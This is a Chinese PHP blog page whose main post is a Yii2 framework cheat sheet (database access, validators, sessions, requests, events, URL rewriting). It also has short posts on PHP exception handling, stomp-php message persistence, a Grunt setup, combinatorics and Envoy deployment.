安静
PHP技术博客

190315 Yii2速查

张 清月阅读(134)

Composer

  • 基本用法
  • 安装yii程序
composer create-project --prefer-dist yiisoft/yii2-app-basic basic
  • 通过composer.json安装扩展
composer install
  • 更新本地composer扩展库
composer update
  • 直接安装某个composer扩展
composer require [options] [--] [vendor/packages]...

DAO

  • Yii的数据库读取对象,在PDO之上,DAO后有了Query Builder和AR
  • 基本使用方法
  • 获得数据库连接
$conn = Yii::$app->db;
  • 执行数据库查询语句
Yii::$app->db->createCommand("SELECT * FROM `user`");
Yii::$app->db->createCommand("SELECT * FROM `user` WHERE uid=:uid",[":uid"=>1]);
Yii::$app->db->createCommand("SELECT * FROM `user` WHERE uid=:uid")->addValue([":uid"=>1]);
  • SQL语句插入数据
Yii::$app->db
->createCommand('INSERT INTO user (email, password) VALUES("test3@example.com", "test3");')->execute();
  • 数组形式插入数据
Yii::$app->db->createCommand()->insert('user', [
    'email' => 'test4@example.com',
    'password' => 'changeme7',
    'first_name' => 'Test'
])->execute();
  • 批量插入数据
Yii::$app->db->createCommand()->batchInsert('user', ['email', 'password', 'first_name'],
[
['james.franklin@example.com', 'changeme7', 'James'],
['linda.marks@example.com', 'changeme7', 'Linda']
['roger.martin@example.com', 'changeme7']
])->execute();
  • 更新数据
Yii::$app->db->createCommand()->update('user', ['updated_at' => time()], 'id = 2')->execute();
  • 删除数据
Yii::$app->db->createCommand()->delete('user', 'id = 3')->execute();
  • 获取结果方法
  • 获取所有数据(数组形式返回)
Yii::$app->db->createCommand("SELECT * FROM `user`")->queryAll();
  • 获取一条数据(一维数组)
Yii::$app->db->createCommand("SELECT * FROM `user` WHERE id = 1")->queryOne();
  • 获取一个值
Yii::$app->db->createCommand("SELECT count(*) AS total FROM `user` WHERE id = 1")->queryScalar();
  • 获取某一列(放到一位数组中)
Yii::$app->db->createCommand("SELECT username FROM `user`")->queryColumn();

Logging

  • 日志功能
  • 配置Log
  • 基本用法
  • trace

    Yii::trace($message,$category)
  • info

    Yii::info($message,$category)
  • warning
Yii::warning($message,$category)
  • error
Yii::error($message,$category)

Validator

  • 数据验证,最常用于模型的rules()函数
  • 方法列表(Model中rules函数)
  • required 必须值
["username",'required']
[["username","email"],'required']
[["username"],'required',"message"=>"{attribute}必须填写"]
[["username"],'required','requiredValue'=>"abei"] // 用户填写的值必须等于requiredValue才能通过验证。
  • Email验证
["email",'email']
[["email","work_email"],'email']
  • Boolean验证
['sex', 'boolean', 'trueValue' => true, 'falseValue' => false, 'strict' => true];// 可以认为置顶 true / false 值。
  • captcha验证码
['verificationCode', 'captcha'];
  • compare比较
['username', 'compare', 'compareAttribute' => 'province','message'=>'username和province必须一样'] //错误信息将提示给username
['age', 'compare', 'compareValue' => 30, 'operator' => '>=','type' => 'number'];//compareValue:比较常量值 operator:比较操作符 type为值类型,默认为string,会一个每个字符对比,若为number则直接判断数值
// operator 待选值==、===、!=、!==、>、>=、<、<=
  • date验证
["birth","date","format"=>"Y-m-d"]
  • default验证
['age','default','value'=>null] // 当age为空的时候设置为null
['country','default','value'=>'USA'] // 当 country为空时设置为USA
/* 如果from为空,则=今天+3天,如果to为空,则=今天+6天 */
[['from','to'],'default','value'=>function($model,$attribute){
    return date('Y-m-d', strtotime($attribute === 'to' ? '+3 days' : '+6 days'));
}]
  • double/number验证
['v','double'] // 判断v是否为数字
['v','double','max'=>90,'min'=>1]//判断v是否为数字且大于等于1、小于等于90
数组各元素验证

/* 要求验证的元素必须为数组,否则会返回假并报错 */
["categoryIds","each","rule"=>['integer']]
  • exist是否存在验证
/* 所谓对存在的检查实质为where的与操作,必须同时瞒住的记录存在方可。兄弟们可以研究下,exist是对sql语句EXISTS的应用*/
["username","exist"] // username输入的值已经存在
["username","exist","targetAttribute"=>"province"] // username的输入值必须在province列存在
["username","exist",'targetAttribute' => ['username', 'province']] // username的输入值必须在username和province中存在
[["username","province"],"exist",'targetAttribute' => ['username', 'province']] // username和province的输入值必须在username和province中存在
  • file验证
/* maxFiles代表一次最多传几个,mimeTypes代表上传文件类型 */
['primaryImage', 'file', 'extensions' => ['png', 'jpg', 'gif'],'mimeTypes'=>["image/*"], 'maxSize' => 1024*1024,'minSize'=>100*1024,'maxFiles'=>6,'checkExtensionByMimeType'=>true],
  • filter过滤验证函数
[['username', 'email'], 'filter', 'filter' => 'trim', 'skipOnArray' => true],
['phone', 'filter', 'filter' => function ($value) {
        // normalize phone input here
        return $value;
}],
  • image验证
/* 上传png/jpg格式,最大宽度不能超过1000px,最小宽度不能低于100px,最大高度不能高于1000px。最小高度不能低于100px */
['primaryImage', 'image', 'extensions' => 'png, jpg','minWidth' => 100, 'maxWidth' => 1000,'minHeight' => 100, 'maxHeight' => 1000]
  • ip验证
["ip_addess","ip"]
  • in方法验证
["level","in","range"=>[1,2,3]]
  • integer验证
["age",'integer'];
["age","integer","max"=>90,"min"=>1]
  • 正则匹配验证
["username","match","pattern"=>"/^[a-z]\w*$/i"]
  • safe验证(多用于设置一个model的attribute)
["description","safe"]
string验证

["username","string","length"=>[4,24]];
["username","string","min"=>4];
["username","string","max"=>32];
["username","string","encoding"=>"UTF-8"];
  • unique唯一验证
["username","unique"]
["username","unique","targetAttribute"=>"province"]
  • url验证
["website","url"]
["website","url","validSchemes"=>["http","https"]]

String

  • 字符串
  • 基础用法
  • 一个字符串中单词数量
StringHelper::countWords("hello world");//2
  • 返回路径中的文件名部分
StringHelper::basename("/path/hello.txt",".txt"); // hello
  • 返回路径中的目录名
StringHelper::dirname("/home/path/hello.txt");// /home/path
  • 超出内容用…代替(不含HTML)
StringHelper::truncate("hello world",7,'...'); //hello w...
  • 超出内容用…代替(识别HTML)
StringHelper::truncate("hello world",7,'...',null,true);//hello w...
  • 以单词为单位超出部分用..代替(不解析HTML)
StringHelper::truncateWords('This is a test sentance', 4, '...') //This is a test ...
  • 以单词为单位超出部分用..代替(解析HTML)
StringHelper::truncateWords('This is a test for a sentance', 5, '...',true) //This is a test for...
  • 一个字符串是否以另一个字符串开始
StringHelper::startsWith("hello world","he");//true
  • 一个字符串是否以另一个字符串结尾
StringHelper::endsWith("hello world","ald");//false
  • 按照分隔符分隔字符串为数组
StringHelper::explode('It, is, a first, test'));//['It','is','a first','test']
StringHelper::explode("a@b@c","@");['a','b','c']
StringHelper::explode("a, b ,c ");['a','b','c']

Session&Cookie

  • Session被封装成一个应用组件,直接通过Yii::$app->session来访问;Cookie通过Request和Response来操作。
  • Session
  • 获得session
$session = Yii::$app->session;
  • 检查session是否开启
Yii::$app->session->isActive
  • 开启一个session
Yii::$app->session->open()
  • 关闭session
Yii::$app->session->close();
  • 销毁session中所有已注册的数据
Yii::$app->session->destroy();
  • 访问一个session
/* 以下三种方法效果等同 */
$language = $session->get('language');
$language = $session['language'];
$language = isset($_SESSION['language']) ? $_SESSION['language'] : null;
  • 设置一个session
/* 以下三种方法效果等同 */
$session->set('language', 'en-US');
$session['language'] = 'en-US';
$_SESSION['language'] = 'en-US';
  • 删除一个session变量
/* 下面三种方法效果等同 */
$session->remove('language');
unset($session['language']);
unset($_SESSION['language']);
  • 检查一个session变量是否存在
/* 以下三种方法效果一致 */
if ($session->has('language')) ...
if (isset($session['language'])) ...
if (isset($_SESSION['language'])) ...
  • Cookie
  • 获取cookie
$cookies = Yii::$app->request->cookies;

设置cookie

$cookies = Yii::$app->response->cookies;
  • 获取一个cookie值
$language = $cookies->getValue('language', 'en');// 如果获取language失败,则返回"en"代替
  • 另一种获取cookie值方法
if (($cookie = $cookies->get('language')) !== null) {
    $language = $cookie->value;
}
  • 数组方式获取cookie值
if (isset($cookies['language'])) {
    $language = $cookies['language']->value;
}
  • 检查一个cookie是否存在
if ($cookies->has('language')) ...
if (isset($cookies['language'])) ...
  • 新增一个cookie
$cookies->add(new \yii\web\Cookie([
    'name' => 'language',
    'value' => 'zh-CN',
]));
  • 删除一个cookie
$cookies->remove('language');
unset($cookies['language']);

Request

Request 被配置为一个应用组件,我们可以通过Yii::$app->request访问它。

  • URL相关
  • 获得当前请求的绝对url
Yii::$app->request->getAbsoluteUrl();
  • 返回一个请求URL的hostInfo部分
Yii::$app->request->getHostInfo();
  • 获得URL问号后的参数字符串
Yii::$app->request->getQueryString()
  • 返回服务器端口
Yii::$app->request->getServerPort();
  • HTTP头
  • 返回用户接受的内容类型
Yii::$app->request-> getAcceptableContentTypes ();// Header Accept
  • 返回用户可接受的语言
Yii::$app->request-> getAcceptableLanguages(); // Header Accept-Language
  • 返回GET/POST请求
Yii::$app->request->get();
Yii::$app->request->get("id");
Yii::$app->request->POST();
Yii::$app->request->POST("username");
  • 判断请求类型(返回boolean)
Yii::$app->request->isAjax // 判断是否为ajax请求
Yii::$app->request->isConsoleRequest // 判断是否为控制发起的请求
Yii::$app->request->isDelete // 判断是否为DELETE请求
Yii::$app->request->isGet // 判断是否为GET请求
Yii::$app->request->isPost // 判断是否为POST请求
Yii::$app->request->isPjax // 判断是否为isPjax请求
  • 客户端信息
  • 返回用户的 IP
Yii::$app->request->getUserIP();

Response

和Request一样,Response被封装成Yii的一个组件,你可以通过Yii::$app->response轻松的访问它。

  • Status Code状态码
  • 设置一个Status Code
Yii::$app->response->statusCode = 200;
  • Yii内置的通过异常形式返回状态码
yii\web\BadRequestHttpException: status code 400.
yii\web\ConflictHttpException: status code 409.
yii\web\ForbiddenHttpException: status code 403.
yii\web\GoneHttpException: status code 410.
yii\web\MethodNotAllowedHttpException: status code 405.
yii\web\NotAcceptableHttpException: status code 406.
yii\web\NotFoundHttpException: status code 404.
yii\web\ServerErrorHttpException: status code 500.
yii\web\TooManyRequestsHttpException: status code 429.
yii\web\UnauthorizedHttpException: status code 401.
yii\web\UnsupportedMediaTypeHttpException: status code 415.
  • 抛出其他Status Code
throw new \yii\web\HttpException(402); // 如果系统没有,可以通过HttpException自己写状态码
throw new \yii\web\HttpException(402,"message");
HTTP Headers
  • 添加设置删除Http Headers内容
$headers = Yii::$app->response->headers;
// add a Pragma header. Existing Pragma headers will NOT be overwritten.
$headers->add('Pragma', 'no-cache');
// set a Pragma header. Any existing Pragma headers will be discarded.
$headers->set('Pragma', 'no-cache');
// remove Pragma header(s) and return the removed Pragma header values in an array
$values = $headers->remove('Pragma');
  • Response Body
  • 相应主体
Yii::$app->response->content = 'hello world!';

Controller

  • 控制器,可在action内直接用$this调用。
  • 视图相关
  • 渲染一个视图(如果布局有效则使用布局)
$this->render('index',['model'=>$model])
  • 渲染视图(不使用布局)
$this->renderPartial('index',['model'=>$model])
  • 渲染视图(不使用布局)
// 注入所有注册的JS/CSS脚本和文件,通常使用在响应AJAX网页请求的情况下
$this->renderAjax('index',['model'=>$model])
  • 只渲染布局
$this->renderContent($content);

ActiveForm

  • 重点!列出最常用的ActiveForm方法。
  • 常用方法
  • 取消客户端规则验证
$form = ActiveForm::begin([
'enableClientValidation'=>false
]);
  • 取消yii.js的引入
$form = ActiveForm::begin([
'enableClientScript'=>false
]);
  • 表单目标地址设置

$form = ActiveForm::begin([
"action"=>$url 
])
  • GET & POST 方法设置
$form = ActiveForm::begin([
"method"=>"POST"
]);
  • 设置Form的类及自己定义标签属性
$form = ActiveForm::begin([
'options'=>["class"=>"f","data-name"=>"xxx"]
]);
  • 生成文本框
$form->field($model, 'date')->textInput(["key"=>"value"]);
  • 生成文本域
$form->field($model, 'date')->textarea(["key"=>"value"]);
  • 单选列表
$form->field($model,'sex')->radioList($arr,["key"=>"value"]);
  • 密码框
$form->field($model,"password")->passwordInput();
  • 复选框
$form->field($model,"city_id")->checkboxList($arr);
  • 文件上传
$form->field($model,"image")->fileInput();
  • 隐藏域
$form->field($model,"name")->hiddenInput();

FileHelper

  • 几个常用也好用的文件帮助方法
  • 基本方法
  • 遍历一个文件夹下文件&子文件夹
FileHelper::findFiles('/path/to/search/');
FileHelper::findFiles('.', ['only' => ['*.php', '*.txt']]); // 只返回php和txt文件
FileHelper::findFiles('.', ['except' => ['*.php', '*.txt']]); // 排除php和txt文件
  • 获得指定文件的MIME类型
FileHelper::getMimeType('/path/to/img.jpeg');
  • 复制文件夹
FileHelper::copyDirectory($src, $dst, $options = [])
  • 删除一个目录及内容
FileHelper::removeDirectory($dir, $options = [])
  • 生成一个文件夹(同时设置权限)
FileHelper::createDirectory($path, $mode = 0775, $recursive = true)

UploadedFile

  • 上传文件帮助类
  • 基本函数
  • 通过模型的属性获取一个文件
$file = UploadedFile::getInstance($model,'avatar')
  • 通过模型的属性来获取一组文件
$files = UploadedFile::getInstances($model,'avatar')
//view $form->field($model,'avatar[]')->fileInput()
  • 通过名字上传一个文件
$file = UploadedFile::getInstanceByName('avatar');
  • 通过名字获取一组上传的文件
$file = UploadedFile::getInstancesByName('avatar');
// view Html::fileInput('avatar[]')
  • 保存一个文件
$file->saveAs(Yii::getAlias("@webroot").'/data/test.jpg');
  • 获取上传文件原始名(不含扩展名)
$file->getBaseName();//test.jpg ===> test
  • 获取上传文件的扩展名(已经自动格式化为小写)
$file->getExtension();// 是png、不是image/png
  • 变量说明
  • 获取文件的原始名
$file->name;//test.jpg
  • 获取文件媒体类型
$file->type;// image/png
  • 获取文件临时名
$file->tempName;
  • 获取文件大小
$file->size;// 21744

Html

  • 通过Html类的一些静态方法生成Html标签。
  • 生成Html标签方法
  • 生成一个超级链接
Html::a('链接的文本', $url);
  • 通过Yii2的路由生成一个链接
Html::a('链接文本', Url::to(['/site/index'], true));
Html::a('链接文本', Yii::$app->urlManager->createUrl(['/site/index']));
  • 生成一个图片链接
Html::img("/images/logo.png",['class'=>'img']);
  • 生成一个按钮
Html::button("按钮文本",['class'=>'button-action']);
  • 发送邮件链接
Html::mailto("阿北",'abei@nai8.me',$options);
  • 生成有序列表
$list = ['china','usa'];
Html::ol($list);
  • 生成无需列表
$list = ['china','usa','japan'];
Html::ul($list);
  • 生成javascript代码
Html::script("alert('hello world');")
  • 生成style代码
Html::style("color:#F60");
Html::style(".list {background:#FFF;}");
  • 文件引用及编码
  • 生成一个css引用链接
Html::cssFile("http://baidu.com/style.css",[]);
  • 生成一个js文件引用
Html::jsFile($url,[]);
  • 把字符 “<” (小于)和 “>” (大于)转换为HTML实体
Html::encode($html);
  • 将特色的HTML实体转化为>和<
Html::decode($string);

Alias

  • 定义和使用
  • 定义一个别名
Yii::setAlias('@baidu', 'http://www.baidu.com');
  • 获得一个别名
Yii::getAlias($name);
  • 获得Yii框架所在的目录
Yii::getAlias('@yii')
  • 正在运行的应用的根目录
Yii::getAlias('@app')
  • Composer第三方库所在目录
Yii::getAlias("@vendor")
  • bower库所在位置
Yii::getAlias("@bower");
  • npm库所在位置
Yii::getAlias("@npm");
  • 运行时存放文件路径
Yii::getAlias("@runtime");
  • index.php所在目录
Yii::getAlias("@webroot");
  • 当前应用的根URL,主要用于前端。
Yii::getAlias("@web");
  • 高级版-通用文件夹
Yii::getAlias("@common");
  • 高级版-前台应用所在位置
Yii::getAlias("@frontend");
  • 高级版-后台应用所在位置
Yii::getAlias("@backend");
  • 命令行库所在位置
Yii::getAlias("@console");

Query Builder

  • 主要解决DAO在查询语句上的繁琐问题,无需输入原生SQL语句就可以完成数据库检索。
  • 基本用法
  • 使用Query Builder需要使用的类

$query = (new \yii\db\Query()); // yii2使用Query对象来采集SQL的各个部分,然后由Query Builder组成SQL语句后由DAO发给数据库获得请求。
  • SELECT方法
$query->select("id,username");// 字符串形式
$query->select(['id','username']); // 数组形式
$query->select(["userId"=>"id","fName"=>"user.frist_name"]); // 起别名
$query->select(["full_name"=>"CONCAT(id,'-',username)"]); // 支持MYSQL函数
  • FROM方法
$query->from("user"); // 字符串形式
$query->from(["u"=>"user"]); // 数据表别名
  • 过滤掉重复记录
$query->select("username")->distinct()->from("user"); // distinct
  • WHERE函数用法
/* 传递字符串 */
$query->where("id = 1");
$query->where("id = :id")->addParams([":id"=>1]);
$query->where("id = :id",[":id"=>1]);


/* 传递数组 */
$query->where(["username"=>"abei","age"=>[20,19,26]])->from("user");// select * from user where username="abei" AND age in (20,19,26)

/* 操作符 */
$query->where([">","id",10]);// id > 10
$query->where(["<","id",10]); // id < 10
$query->where(["<>","id",10]); // id <> 10
$query->where(["in","id",[10,12]]);// id in (10,20)
$query->where(["not in","id",[10,12]]);// id not in (10,20)
$query->where(["and","id=1","id=2"]); id=1 AND id=2
$query->where(['or', ['type' => [7, 8, 9]], ['id' => [1, 2, 3]]]); // (type IN (7, 8, 9) OR (id IN (1, 2, 3)))
$query->where(["between", 'id', 1, 10]);// id between 1 AND 10
$query->where(["not",["id"=>5]]);// not (id=5)
$query->where(["not between","id",1,10]);// id not between 1 AND 10
$query->where(["like","username","abei"]); // username like "%abei%"
$query->where([['like', 'username', ['abei', 'liuhuan']]]); // username like "%abei%" AND username like "%liuhuan%"
$query->where(['like', 'username', '%abei', false]); // username like "%abei"
$query->where(["or like", 'username', ['abei', 'liuhuan']]);// username like "%abei%" OR username like "%liuhuan%",
  • 只作用于范围为数组的形式
$query->where(["not like",xxxxx]);// 与``like用法一致
$query->where(["or not like",xxx])// 与not like用法一致
  • 一个要单独说明的exists
/* EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False */
$query->where(['exists', (new Query())->select('id')->from('user')->where(['id' => 1])]);
  • ORDER BY 方法
$query->orderBy("id DESC");
$query->orderBy(["id"=>SORT_DESC]);
$query->orderBy(["id"=>SORT_DESC,'create_time'=>SORT_ASC]);
GROUP BY && HAVING

$query->groupBy(["username"]);
$query->groupBy(["id"])->having([">",'id',20]);
  • 获取生成的SQL语句
$query->createCommand()->sql;
  • 获得查询结果
  • 获取所有结果
$query->all();// 二位数组
  • 获取一条记录
$query->one();
  • 检查一个数据库中是否含有某个表
(new \yii\db\Query)->from('user')->exists();
  • 获取count
$query->count();
  • 获取一个值
$query->scalar();
  • 获取一列值
$query->column();// 一位数组
  • 一个例子
  • 获取一个user表的内容
$query = new \yii\db\Query;
$query->from("user");
$query->select(["fname"=>"username"]);
$query->where([">",'id',10]);
$query->all();

Migrate

  • 数据库迁移工具
  • 基本方法
  • 生成一个迁移文件
./yii migrate/create script_name // script_name为脚本名字(需要英文格式)
  • 执行所有没有迁移的脚本
./yii migrate
./yii migrate/up
  • 执行置顶的迁移
./yii migrate/up 脚本名 // 不用含有扩展名

Asset Management

  • Asset资源管理
  • 常用参数
  • 类属性说明
$basePath // 资源文件所在的web服务器目录路径,一般为@webroot
$baseUrl // js和css文件相对url基地址
$css // asset bundle 所包含的css文件数组
$cssOptions // 对link标签的属性控制
$js // asset bundle 所包含的js文件数组
$jsOptions // 对script标签的属性控制
$publishOptions // 发布操作
$sourcePath // 当资源网络不可以访问,则必须指定此目录。
  • 关键参数
  • 去掉浏览器缓存
'appendTimestamp' => true // 在web.php里的components - assetManager
  • 发布资源筛选
public $publishOptions = [
    'only' => [
        'fonts/*',
        'css/*',
        'test.js'
    ],
    'except'=>[
        'img'
    ],

]; 
  • js文件在页面的位置
public $jsOptions = ['position' => \yii\web\View::POS_HEAD];//js文件发布到head标签内
public $jsOptions = ['position' => \yii\web\View::POS_END];//js文件发布到body标签底部
public $jsOptions = ['position' => \yii\web\View::POS_BEGIN];//js文件放到body标签开始处
  • 浏览器兼容问题
public $cssOptions = ['condition' => 'IE 11'];// 代表兼容ie11
  • 是否使用符号链接
'linkAssets' => true // 在web.php里的components - assetManager
  • 配置yii自身的asset资源
// 在web.php里的components - assetManager,配置自定义的也可以
'bundles' =>  [
    'yii/web/YiiAsset'=>[
        'js'=>[],
        ......
    ]
]

Event

  • 有关事件的所有,系统自带事件通通给你。
  • Application # 应用主体
  • 应用处理请求before之前触发
Application::EVENT_BEFORE_REQUEST
  • 应用处理请求before之后触发
Application::EVENT_AFTER_REQUEST
  • Controller # 控制器
  • 在每个Action运行之前触发
Controller::EVENT_BEFORE_ACTION
  • 在每个Action运行之后触发
Controller::EVENT_AFTER_ACTION
  • Model # 模型
  • 在验证Model属性之前触发
Model::EVENT_BEFORE_VALIDATE
  • 在验证Model属性之后触发
Model::EVENT_AFTER_VALIDATE
  • Module # 模块
  • 一个模块的Action运行前触发
Module::EVENT_BEFORE_ACTION
  • 一个模块的Action运行后触发
Module::EVENT_AFTER_ACTION
  • View # 视图
  • 执行视图的beforePage时触发
View::EVENT_BEGIN_PAGE
  • 执行视图的endPage函数时触发
View::EVENT_END_PAGE
  • 在renderFile渲染一个视图文件之前触发
View::EVENT_BEFORE_RENDER
  • 在renderFile渲染一个视图文件之后触发
View::EVENT_AFTER_RENDER
  • 执行视图的beginBody函数时触发
View::EVENT_BEGIN_BODY
  • 执行视图的endBody函数时触发
View::EVENT_END_BODY
  • Widget # 挂件
  • Widget初始化时触发
Widget::EVENT_INIT
  • Widget执行前触发
Widget::EVENT_BEFORE_RUN
  • Widget执行之后触发
Widget::EVENT_AFTER_RUN
  • ActiveQuery
  • 由ActiveQuery的init函数触发
ActiveQuery::EVENT_INIT
BaseActiveRecord & ActiveRecord # 这也许是内置事件中最重要的一批了。
  • AR对象被初始化init时触发
BaseActiveRecord::EVENT_INIT
  • AR执行查询结束时触发
BaseActiveRecord::EVENT_AFTER_FIND
  • 插入结束时触发
BaseActiveRecord::EVENT_BEFORE_INSERT
  • 插入之后触发
BaseActiveRecord::EVENT_AFTER_INSERT
  • 更新记录之前触发
BaseActiveRecord::EVENT_BEFORE_UPDATE
  • 更新记录之后触发
BaseActiveRecord::EVENT_AFTER_UPDATE
  • 删除记录之前触发
BaseActiveRecord::EVENT_BEFORE_DELETE
  • 删除记录之后触发
BaseActiveRecord::EVENT_AFTER_DELETE

在数据refresh成功之后触发

BaseActiveRecord::EVENT_AFTER_REFRESH
  • Connection # 数据库连接
  • 数据库连接被打开后触发
Connection::EVENT_AFTER_OPEN
  • 事务被启动时触发
Connection::EVENT_BEGIN_TRANSACTION
  • 事务被提交后触发
Connection::EVENT_COMMIT_TRANSACTION
  • 事务回滚后触发
Connection::EVENT_ROLLBACK_TRANSACTION
  • Response # Http响应
  • Response响应发送之前触发
Response::EVENT_BEFORE_SEND
  • Response响应发送之后触发
Response::EVENT_AFTER_SEND
  • Response响应内容准备好之后触发
Response::EVENT_AFTER_PREPARE
  • User # 会员登陆授权
  • 登陆之前触发
User::EVENT_BEFORE_LOGIN
  • 登陆之后触发
User::EVENT_AFTER_LOGIN
  • 注销之前触发
User::EVENT_BEFORE_LOGOUT
  • 注销之后触发
User::EVENT_AFTER_LOGOUT

Route&UrlManager

  • 路由管理
  • 配置项
  • URL美化配置
// conf/web.php
'urlManager' => [
    'enablePrettyUrl' => true,
    'showScriptName' => false,
    'suffix'=>'.html',// 统一后缀名,若不需要则无需配置
    'enableStrictParsing'=>false,//默认为false,是否采用严格解析
    'rules' => [
    ],        
]
  • Apache开启url重写方法
// Apache需要支持url重写其AllowOverride为all
AllowOverride:all

//web目录下增加.htaccess,隐藏index.php文件 内容如下
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php
  • Nginx支持url重写
location / {
    if (!-e $request_filename){
        rewrite ^/(.*) /index.php last;
    }
}
  • Apache开启url重写方法2
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)\?*$ index.php/$1 [L,QSA]

RESTful

  • APIs # 内置的API
  • 分页获得所有的会员
GET /users
GET /users?page=2
GET /users?fields=id,username,created_at
GET /users?sort=id,-username
  • HTTP状态码
200: OK。一切正常。
201: 响应 POST 请求时成功创建一个资源。Location header 包含的URL指向新创建的资源。
204: 该请求被成功处理,响应不包含正文内容 (类似 DELETE 请求)。
304: 资源没有被修改。可以使用缓存的版本。
400: 错误的请求。可能通过用户方面的多种原因引起的,例如在请求体内有无效的JSON 数据,无效的操作参数,等等。
401: 验证失败。
403: 已经经过身份验证的用户不允许访问指定的 API 末端。
404: 所请求的资源不存在。
405: 不被允许的方法。 请检查 Allow header 允许的HTTP方法。
415: 不支持的媒体类型。 所请求的内容类型或版本号是无效的。
422: 数据验证失败 (例如,响应一个 POST 请求)。 请检查响应体内详细的错误消息。
429: 请求过多。 由于限速请求被拒绝。
500: 内部服务器错误。 这可能是由于内部程序错误引起的。

180731 php catch error层级

张 清月阅读(59)

非trycatch 下的throw 异常


class ab{
	
	public function gg(){
		// try{
			if(1!=2){
				echo "run is 1!=2".PHP_EOL;
				throw new Exception("Error Processing Request", 1);
			}
		// }catch(Exception $e){
		// 	echo "run back".PHP_EOL;
		// }
	}	

	public function __destruct() {
        print "Destroying " . self::class . "\n";
    }
}


$ab=new ab();
$ab->gg();

执行结果


run is 1!=2
PHP Fatal error:  Uncaught Exception: Error Processing Request in /Users/ab/Sites/try.php:8
Stack trace:
#0 /Users/ab/Sites/try.php(22): ab->gg()
#1 {main}
  thrown in /Users/ab/Sites/try.php on line 8

Fatal error: Uncaught Exception: Error Processing Request in /Users/ab/Sites/try.php:8
Stack trace:
#0 /Users/ab/Sites/try.php(22): ab->gg()
#1 {main}
  thrown in /Users/ab/Sites/try.php on line 8
FAIL: 255

trycatch 下的 throw异常


class ab{
	
	public function gg(){
		try{
			if(1!=2){
				echo "run is 1!=2".PHP_EOL;
				throw new Exception("Error Processing Request", 1);
			}
		 }catch(Exception $e){
		 	echo "run back".PHP_EOL;
		 }
	}	

	public function __destruct() {
        print "Destroying " . self::class . "\n";
    }
}


$ab=new ab();
$ab->gg();

执行结果


run is 1!=2
run back
Destroying ab

180504 stomp-php 持久化参数

张 清月阅读(56)

项目使用activemq的时候,发送的消息一直都未持久话,也就是未消费队列被存储起来。重启后就消失了。

使用的是 stomp-php 免安装php扩展,简单部署。

    "require": {
        "corneltek/cliframework": "^3.0",
        "stomp-php/stomp-php": "^4.2"
    }

调试使用使用后台发送消息勾选 Persistent Delivery后,重启 activemq是作为持久化消息保存的。

源代码包里搜了下 presistent

发现代码:

   $producer->send($queue, new Message('message-b', ['persistent' => 'true']));

测试了下 将head的Options里封装

['persistent' => 'true']
//就成功持久化了

160725 grunt helloworld

张 清月阅读(1553)

为何要用构建工具?

一句话:自动化。对于需要反复重复的任务,例如压缩(minification)、编译、单元测试、linting等,自动化工具可以减轻你的劳动,简化你的工作。当你在 Gruntfile 文件正确配置好了任务,任务运行器就会自动帮你或你的小组完成大部分无聊的工作。

为什么要使用Grunt?

Grunt生态系统非常庞大,并且一直在增长。由于拥有数量庞大的插件可供选择,因此,你可以利用Grunt自动完成任何事,并且花费最少的代价。如果找不到你所需要的插件,那就自己动手创造一个Grunt插件,然后将其发布到npm上吧。先看看入门文档吧。

下面是安装使用过程

终端安装cli

npm install -g grunt-cli

构建项目目录

npm init

会生成一个package.json

{
  "name": "cc",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}

安装所需的 moudle

 npm install --save-dev grunt grunt-contrib-concat grunt-contrib-jshint grunt-contrib-sass grunt-contrib-uglify grunt-contrib-watch grunt-contrib-connect

安装完模块后 package.json文件会被更改

{
  "name": "cc",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "grunt": "^1.0.1",
    "grunt-contrib-concat": "^1.0.1",
    "grunt-contrib-connect": "^1.0.2",
    "grunt-contrib-jshint": "^1.0.0",
    "grunt-contrib-sass": "^1.0.0",
    "grunt-contrib-uglify": "^2.0.0",
    "grunt-contrib-watch": "^1.0.0"
  }
}

创建grunt配置文件 Gruntfile.js

module.exports = function(grunt){

    // 项目配置
    grunt.initConfig({
        pkg: grunt.file.readJSON('package.json'),
        uglify: {
            options: {
                banner: '/*! <%= pkg.name %> <%= grunt.template.today("yyyy-mm-dd") %> */\n'
            },
            build: {
                src: 'src/*.js',
                dest: 'build/<%= pkg.name %>.min.js'
            }
        }
    });

    // 加载提供"uglify"任务的插件
    grunt.loadNpmTasks('grunt-contrib-uglify');

    // 默认任务
    grunt.registerTask('default', ['uglify']);
}

当前目录创建src

添加a.js

function hello(){
     console.log('hello');
}

添加b.js

function world(){
     console.log('world');
}

构建 grunt

gunt
Running "uglify:build" (uglify) task
>> 1 file created.
Done.

查看build目录cc.min.js

/*! cc 2016-07-25 */
function hello(){console.log("hello")}function world(){console.log("world")}

具体demo下载地址

http://pan.baidu.com/s/1boIuvP9

更多查看

http://www.gruntjs.net/getting-started

160411 php组合排列实现

张 清月阅读(1857)

学习系统实现组合排列

遇到个需求需要从100道题目中随机抽取10道题作为学习测试题,并且出现的组合不能重复,给出大概可用组合的次数.

组合排列实现:

//PHP乘阶实现
function factorial($n)
{
    if ($n > 1) {
        return $n * factorial($n - 1);
    } else {
        return 1;
    }
}

//组合排列
function randGet($n, $m)
{
    echo "{$n}个数中取{$m}个数随机排列,且不重复可有" . factorial($n) / factorial($n - $m) / factorial($m) . "次变种" . PHP_EOL;
}

randGet(3, 2);
randGet(6, 2);
randGet(100, 4);

执行结果:

3个数中取2个数随机排列,且不重复可有3次变种
6个数中取2个数随机排列,且不重复可有15次变种
100个数中取4个数随机排列,且不重复可有3921225次变种

参考:

  1. 乘阶
  2. 排列组合
  3. 解决公式

160327 使用Envoy管理多服务器

张 清月阅读(1307)

在多服务器负载均衡的时候,会有代码发布问题,如果你很懒的去架设jekins这种持续话集成工具的时候,你可以使用Envoy试试,当然你也可以用cobbler puppet.但我相信当你使用过Envoy 你会惊艳她功能的

Envoty(Laravel Envoy):

提供了简洁、轻量的语法用于定义在远程服务器上可执行的通用任务。通过 Blade 风格的语法,你可以很容易地设置任务从而完成部署、执行 Artisan 命令或其他更多工作。

如何安装Envoy:

